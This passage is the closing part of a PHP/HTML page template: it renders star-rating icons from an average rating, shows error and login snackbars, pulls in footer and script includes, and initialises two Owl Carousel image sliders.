</svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> </div> </div> <?php } ?> </div> </section> </div> </div> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 desk"> <div data-v-ca6cf050="" data-v-e49fcc30="" class="container container row-responsive my-3"> <?php include('seo.php'); ?> </div> </div> <?php include('footer.php'); ?> </div> <div role="alert" class="snackbar-error snackbar-container snackbar-hide" data-v-143f642f="" data-v-5fa6951a=""> <div class="flex relative row align-center px-3" data-v-143f642f=""> <div class="snackbar-indicator indicator-error" data-v-143f642f=""></div> <svg xmlns="http://www.w3.org/2000/svg" width="50px" height="50px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle color-error" data-v-143f642f=""> <circle cx="12" cy="12" r="10" data-v-143f642f=""></circle> <line x1="12" y1="8" x2="12" y2="12" data-v-143f642f=""></line> <line x1="12" y1="16" x2="12.01" y2="16" data-v-143f642f=""></line> </svg> <div class="column px-4 py-3" data-v-143f642f=""> <span class="bold text inverse large" data-v-70d8a0c4="" data-v-143f642f="">Failed </span> <span class="mt-2 text inverse normal" data-v-70d8a0c4="" data-v-143f642f=""></span> </div> </div> </div> <div class="snackbar-bg" data-v-aa051a02="" data-v-5fa6951a=""> <div class="snackbar snackbar-container snackbar-hide" data-v-aa051a02=""> <div class="flex relative row align-center px-3" data-v-aa051a02=""> <div class="column px-4 py-3" data-v-aa051a02=""> <span bold="" class="mt-2 text dark normal" data-v-70d8a0c4="" data-v-aa051a02="">You need to <a href="sign-in" data-v-70d8a0c4="" data-v-aa051a02="">login</a> to use this function.</span> <div class="cancel mt-3" data-v-aa051a02="">Cancel</div> </div> </div> </div> </div> <div data-v-78a91c7e="" data-v-5fa6951a=""></div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js"></script> <script> $(".image-slider1").owlCarousel({ margin: 10, loop: true, autoplay: true, nav: false, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], responsive: { 0: { items: 2 }, 600: { items: 3.5, merge: true, }, 1000: { items: 8 } } }); $(".image-slider2").owlCarousel({ margin: 10, loop: true, autoplay: true, nav: false, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], responsive: { 0: { items: 2 }, 600: { items: 3.5, merge: true, }, 1000: { items: 8 } } }); </script> <?php include('script.php'); ?> </body> </html>
Close